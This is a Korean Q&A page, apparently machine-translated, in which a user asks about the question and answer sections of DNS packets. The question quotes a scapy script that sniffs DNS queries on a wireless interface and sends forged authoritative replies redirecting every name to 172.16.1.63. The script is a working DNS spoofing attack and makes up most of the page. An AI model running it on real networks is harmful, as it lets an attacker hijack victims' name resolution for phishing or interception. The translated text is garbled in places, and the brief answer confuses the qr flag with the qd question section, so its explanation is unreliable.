2017-10-26 1 views
0

나는 가지 다음과 같습니다 리소스 레코드 섹션의 구조를 알고 enter image description hereDNS 패킷에있는 여러 종류의 리소스 레코드 블록의 기능은 무엇입니까?

을하지만 DNS 스푸핑 플러그인의 소스 코드를 읽을 때 나는 완전히 잃었어요 : 무엇

from scapy.all import * 
def dns_spoof(pkt): 
    redirect_to = '172.16.1.63' 
    if pkt.haslayer(DNSQR): # DNS question record 
     spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)/\ 
         UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\ 
         DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa = 1, qr=1, \ 
         an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=10, rdata=redirect_to)) 
     send(spoofed_pkt) 
     print 'Sent:', spoofed_pkt.summary() 
sniff(filter='udp port 53', iface='wlan0', store=0, prn=dns_spoof) 

을 QD와 AN RR의 차이점과 왜이 패킷에서 QD를 사용해야합니까?

답변

0

DNS qr은 클라이언트가 보낸 쿼리 데이터로 해석되어야합니다. Scapy는 DNSQR 필드를 사용하여이 구조를 나타냅니다. 따라서 qr 섹션을 다른 RR 필드와 쉽게 구분할 수 있습니다.